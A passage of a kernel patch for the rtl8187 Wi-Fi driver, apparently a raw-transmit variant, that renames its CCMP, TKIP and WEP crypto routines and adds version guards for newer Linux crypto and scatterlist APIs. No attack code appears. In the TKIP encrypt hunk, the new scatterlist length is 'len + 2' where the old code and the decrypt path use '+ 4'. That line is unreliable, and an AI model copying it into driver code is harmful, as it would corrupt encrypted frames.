crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm, +#else +static void ccmp_init_blocks_rtl7(struct crypto_cipher *tfm, +#endif struct ieee80211_hdr *hdr, u8 *pn, size_t dlen, u8 *b0, u8 *auth, u8 *s0) @@ -186,18 +230,18 @@ } /* Start with the first block and AAD */ - ieee80211_ccmp_aes_encrypt(tfm, b0, auth); - xor_block(auth, aad, AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); - xor_block(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth); + xor_block_rtl7(auth, aad, AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); + xor_block_rtl7(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); b0[0] &= 0x07; b0[14] = b0[15] = 0; - ieee80211_ccmp_aes_encrypt(tfm, b0, s0); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0); } -static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; int data_len, i, blocks, last, len; @@ -237,7 +281,7 @@ *pos++ = key->tx_pn[0]; hdr = (struct ieee80211_hdr *) skb->data; - ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); + ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -245,13 +289,13 @@ for (i = 1; i <= blocks; i++) { len = (i == blocks && last) ? last : AES_BLOCK_LEN; /* Authentication */ - xor_block(b, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, b, b); + xor_block_rtl7(b, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b); /* Encryption, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, e); - xor_block(pos, e, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e); + xor_block_rtl7(pos, e, len); pos += len; } @@ -262,7 +306,7 @@ } -static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; u8 keyidx, *pos; @@ -326,8 +370,8 @@ return -4; } - ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b); - xor_block(mic, b, CCMP_MIC_LEN); + ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b); + xor_block_rtl7(mic, b, CCMP_MIC_LEN); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -337,11 +381,11 @@ /* Decrypt, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, b); - xor_block(pos, b, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b); + xor_block_rtl7(pos, b, len); /* Authentication */ - xor_block(a, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, a, a); + xor_block_rtl7(a, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a); pos += len; } @@ -365,11 +409,15 @@ } -static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = data->tfm; +#else + struct crypto_cipher *tfm = data->tfm; +#endif keyidx = data->key_idx; memset(data, 0, sizeof(*data)); @@ -396,7 +444,7 @@ } -static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; @@ -420,7 +468,7 @@ } -static char * ieee80211_ccmp_print_stats(char *p, void *priv) +static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv) { struct ieee80211_ccmp_data *ccmp = priv; p += sprintf(p, "key[%d] alg=CCMP key_set=%d " @@ -437,34 +485,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = { +static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = { .name = "CCMP", - .init = ieee80211_ccmp_init, - .deinit = ieee80211_ccmp_deinit, - .encrypt_mpdu = ieee80211_ccmp_encrypt, - .decrypt_mpdu = ieee80211_ccmp_decrypt, + .init = ieee80211_ccmp_init_rtl7, + .deinit = ieee80211_ccmp_deinit_rtl7, + .encrypt_mpdu = ieee80211_ccmp_encrypt_rtl7, + .decrypt_mpdu = ieee80211_ccmp_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = ieee80211_ccmp_set_key, - .get_key = ieee80211_ccmp_get_key, - .print_stats = ieee80211_ccmp_print_stats, + .set_key = ieee80211_ccmp_set_key_rtl7, + .get_key = ieee80211_ccmp_get_key_rtl7, + .print_stats = ieee80211_ccmp_print_stats_rtl7, .extra_prefix_len = CCMP_HDR_LEN, .extra_postfix_len = CCMP_MIC_LEN, .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_ccmp_init(void) +static int __init ieee80211_crypto_ccmp_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -static void __exit ieee80211_crypto_ccmp_exit(void) +static void __exit ieee80211_crypto_ccmp_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -module_init(ieee80211_crypto_ccmp_init); -module_exit(ieee80211_crypto_ccmp_exit); +module_init(ieee80211_crypto_ccmp_init_rtl7); +module_exit(ieee80211_crypto_ccmp_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.h rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.h --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.h 2008-01-30 17:38:11.000000000 +0100 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_tkip.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_tkip.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip.c 2008-01-30 17:39:05.000000000 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -55,14 +65,21 @@ int key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm_arc4; struct crypto_tfm *tfm_michael; +#else + struct crypto_blkcipher *rx_tfm_arc4; + struct crypto_blkcipher *tx_tfm_arc4; + struct crypto_hash *rx_tfm_michael; + struct crypto_hash *tx_tfm_michael; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 rx_hdr[16], tx_hdr[16]; }; -static void * ieee80211_tkip_init(int key_idx) +static void * ieee80211_tkip_init_rtl7(int key_idx) { struct ieee80211_tkip_data *priv; @@ -72,28 +89,74 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm_arc4 = crypto_alloc_tfm("arc4", 0); if (priv->tfm_arc4 == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API arc4\n"); goto fail; } - priv->tfm_michael = crypto_alloc_tfm("michael_mic", 0); if (priv->tfm_michael == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API michael_mic\n"); goto fail; } +#else + priv->tx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm_arc4 = NULL; + goto fail; + } + + priv->tx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->tx_tfm_michael = NULL; + goto fail; + } + + priv->rx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm_arc4 = NULL; + goto fail; + } + + priv->rx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->rx_tfm_michael = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm_michael) crypto_free_tfm(priv->tfm_michael); if (priv->tfm_arc4) crypto_free_tfm(priv->tfm_arc4); +#else + if (priv->tx_tfm_michael) + crypto_free_hash(priv->tx_tfm_michael); + if (priv->tx_tfm_arc4) + crypto_free_blkcipher(priv->tx_tfm_arc4); + if (priv->rx_tfm_michael) + crypto_free_hash(priv->rx_tfm_michael); + if (priv->rx_tfm_arc4) + crypto_free_blkcipher(priv->rx_tfm_arc4); +#endif kfree(priv); } @@ -101,13 +164,26 @@ } -static void ieee80211_tkip_deinit(void *priv) +static void ieee80211_tkip_deinit_rtl7(void *priv) { struct ieee80211_tkip_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm_michael) crypto_free_tfm(_priv->tfm_michael); if (_priv && _priv->tfm_arc4) crypto_free_tfm(_priv->tfm_arc4); +#else + if (_priv) { + if (_priv->tx_tfm_michael) + crypto_free_hash(_priv->tx_tfm_michael); + if (_priv->tx_tfm_arc4) + crypto_free_blkcipher(_priv->tx_tfm_arc4); + if (_priv->rx_tfm_michael) + crypto_free_hash(_priv->rx_tfm_michael); + if (_priv->rx_tfm_arc4) + crypto_free_blkcipher(_priv->rx_tfm_arc4); + } +#endif kfree(priv); } @@ -200,7 +276,7 @@ #define PHASE1_LOOP_COUNT 8 -static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) +static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) { int i, j; @@ -222,7 +298,7 @@ } -static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, +static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, u16 IV16) { /* Make temporary area overlap WEP seed so that the final copy can be @@ -268,7 +344,7 @@ #endif } -static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; int len; @@ -276,6 +352,9 @@ struct ieee80211_hdr *hdr; u32 crc; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->tx_tfm_arc4 }; +#endif if (skb_headroom(skb) < 8 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -283,11 +362,11 @@ hdr = (struct ieee80211_hdr *) skb->data; if (!tkey->tx_phase1_done) { - tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2, + tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2, tkey->tx_iv32); tkey->tx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); len = skb->len - hdr_len; pos = skb_push(skb, 8); @@ -310,11 +389,23 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->tx_tfm_arc4, rc4key, 16); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; +#else + sg_set_page(&sg, virt_to_page(pos), len + 2, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_encrypt(tkey->tfm_arc4, &sg, &sg, len + 4); +#else + crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif tkey->tx_iv16++; if (tkey->tx_iv16 == 0) { @@ -325,7 +416,7 @@ return 0; } -static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 rc4key[16]; @@ -337,6 +428,9 @@ u32 crc; struct scatterlist sg; int plen; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->rx_tfm_arc4 }; +#endif if (skb->len < hdr_len + 8 + 4) return -1; @@ -382,18 +476,30 @@ } if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) { - tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); + tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); tkey->rx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16); plen = skb->len - hdr_len - 12; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->rx_tfm_arc4, rc4key, 16); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#else + sg_set_page(&sg, virt_to_page(pos), plen + 4, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(tkey->tfm_arc4, &sg, &sg, plen + 4); +#else + crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4); +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -427,33 +533,59 @@ return keyidx; } - -static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) +static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { struct scatterlist sg[2]; if (tkey->tfm_michael == NULL) { +#else +static int michael_mic_rtl7(struct crypto_hash *tfm_michael, u8 *key, u8 *hdr, + u8 *data, size_t data_len, u8 *mic) +{ + struct hash_desc desc; + struct scatterlist sg[2]; + + if (tfm_michael == NULL) { +#endif printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); return -1; } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg[0].page = virt_to_page(hdr); sg[0].offset = offset_in_page(hdr); sg[0].length = 16; +#else + sg_set_page(&sg[0], virt_to_page(hdr), 16, offset_in_page(hdr)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg[1].page = virt_to_page(data); sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#else + sg_set_page(&sg[1], virt_to_page(data), data_len, offset_in_page(data)); +#endif +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); return 0; +#else + if (crypto_hash_setkey(tfm_michael, key, 8)) + return -1; + + desc.tfm = tfm_michael; + desc.flags = 0; + return crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif } -static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) +static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr) { struct ieee80211_hdr *hdr11; @@ -483,7 +615,7 @@ } -static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 *pos; @@ -495,18 +627,24 @@ return -1; } - michael_mic_hdr(skb, tkey->tx_hdr); + michael_mic_hdr_rtl7(skb, tkey->tx_hdr); pos = skb_put(skb, 8); - if (michael_mic(tkey, &tkey->key[16], tkey->tx_hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[16], tkey->tx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) + return -1; +#else + if (michael_mic_rtl7(tkey->tx_tfm_michael, &tkey->key[16], tkey->tx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) return -1; +#endif return 0; } #if WIRELESS_EXT >= 18 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -527,7 +665,7 @@ wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev); } #elif WIRELESS_EXT >= 15 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -543,7 +681,7 @@ wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf); } #else /* WIRELESS_EXT >= 15 */ -static inline void ieee80211_michael_mic_failure(struct net_device *dev, +static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -551,7 +689,7 @@ #endif /* WIRELESS_EXT >= 15 */ -static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx, +static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -560,10 +698,16 @@ if (!tkey->key_set) return -1; - michael_mic_hdr(skb, tkey->rx_hdr); - if (michael_mic(tkey, &tkey->key[24], tkey->rx_hdr, + michael_mic_hdr_rtl7(skb, tkey->rx_hdr); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[24], tkey->rx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) + return -1; +#else + if (michael_mic_rtl7(tkey->rx_tfm_michael, &tkey->key[24], tkey->rx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) return -1; +#endif if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) { struct ieee80211_hdr *hdr; hdr = (struct ieee80211_hdr *) skb->data; @@ -572,7 +716,7 @@ skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2), keyidx); if (skb->dev) - ieee80211_michael_mic_failure(skb->dev, hdr, keyidx); + ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx); tkey->dot11RSNAStatsTKIPLocalMICFailures++; return -1; } @@ -588,18 +732,33 @@ } -static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = tkey->tfm_michael; struct crypto_tfm *tfm2 = tkey->tfm_arc4; +#else + struct crypto_hash *tfm = tkey->tx_tfm_michael; + struct crypto_blkcipher *tfm2 = tkey->tx_tfm_arc4; + struct crypto_hash *tfm3 = tkey->rx_tfm_michael; + struct crypto_blkcipher *tfm4 = tkey->rx_tfm_arc4; +#endif keyidx = tkey->key_idx; memset(tkey, 0, sizeof(*tkey)); tkey->key_idx = keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) tkey->tfm_michael = tfm; tkey->tfm_arc4 = tfm2; +#else + tkey->tx_tfm_michael = tfm; + tkey->tx_tfm_arc4 = tfm2; + tkey->rx_tfm_michael = tfm3; + tkey->rx_tfm_arc4 = tfm4; +#endif + if (len == TKIP_KEY_LEN) { memcpy(tkey->key, key, TKIP_KEY_LEN); tkey->key_set = 1; @@ -618,7 +777,7 @@ } -static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -648,7 +807,7 @@ } -static char * ieee80211_tkip_print_stats(char *p, void *priv) +static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv) { struct ieee80211_tkip_data *tkip = priv; p += sprintf(p, "key[%d] alg=TKIP key_set=%d " @@ -675,34 +834,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_tkip = { +static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = { .name = "TKIP", - .init = ieee80211_tkip_init, - .deinit = ieee80211_tkip_deinit, - .encrypt_mpdu = ieee80211_tkip_encrypt, - .decrypt_mpdu = ieee80211_tkip_decrypt, - .encrypt_msdu = ieee80211_michael_mic_add, - .decrypt_msdu = ieee80211_michael_mic_verify, - .set_key = ieee80211_tkip_set_key, - .get_key = ieee80211_tkip_get_key, - .print_stats = ieee80211_tkip_print_stats, + .init = ieee80211_tkip_init_rtl7, + .deinit = ieee80211_tkip_deinit_rtl7, + .encrypt_mpdu = ieee80211_tkip_encrypt_rtl7, + .decrypt_mpdu = ieee80211_tkip_decrypt_rtl7, + .encrypt_msdu = ieee80211_michael_mic_add_rtl7, + .decrypt_msdu = ieee80211_michael_mic_verify_rtl7, + .set_key = ieee80211_tkip_set_key_rtl7, + .get_key = ieee80211_tkip_get_key_rtl7, + .print_stats = ieee80211_tkip_print_stats_rtl7, .extra_prefix_len = 4 + 4, /* IV + ExtIV */ .extra_postfix_len = 8 + 4, /* MIC + ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_tkip_init(void) +static int __init ieee80211_crypto_tkip_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -static void __exit ieee80211_crypto_tkip_exit(void) +static void __exit ieee80211_crypto_tkip_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -module_init(ieee80211_crypto_tkip_init); -module_exit(ieee80211_crypto_tkip_exit); +module_init(ieee80211_crypto_tkip_init_rtl7); +module_exit(ieee80211_crypto_tkip_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_wep.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_wep.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep.c 2008-01-30 17:39:05.000000000 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); @@ -36,11 +46,16 @@ u8 key[WEP_KEY_LEN + 1]; u8 key_len; u8 key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm; +#else + struct crypto_blkcipher *rx_tfm; + struct crypto_blkcipher *tx_tfm; +#endif }; -static void * prism2_wep_init(int keyidx) +static void * prism2_wep_init_rtl7(int keyidx) { struct prism2_wep_data *priv; @@ -50,13 +65,30 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = keyidx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm = crypto_alloc_tfm("arc4", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " "crypto API arc4\n"); goto fail; } +#else + priv->tx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm = NULL; + goto fail; + } + priv->rx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm = NULL; + goto fail; + } +#endif /* start WEP IV from a random value */ get_random_bytes(&priv->iv, 4); @@ -64,19 +96,35 @@ fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm) crypto_free_tfm(priv->tfm); +#else + if (priv->tx_tfm) + crypto_free_blkcipher(priv->tx_tfm); + if (priv->rx_tfm) + crypto_free_blkcipher(priv->rx_tfm); +#endif kfree(priv); } return NULL; } -static void prism2_wep_deinit(void *priv) +static void prism2_wep_deinit_rtl7(void *priv) { struct prism2_wep_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm) crypto_free_tfm(_priv->tfm); +#else + if (_priv) { + if (_priv->tx_tfm) + crypto_free_blkcipher(_priv->tx_tfm); + if (_priv->rx_tfm) + crypto_free_blkcipher(_priv->rx_tfm); + } +#endif kfree(priv); } @@ -87,13 +135,16 @@ * * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data)) */ -static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, len; u8 key[WEP_KEY_LEN + 3]; u8 *pos, *icv; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->tx_tfm }; +#endif if (skb_headroom(skb) < 4 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -134,13 +185,25 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->tx_tfm, key, klen); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; - 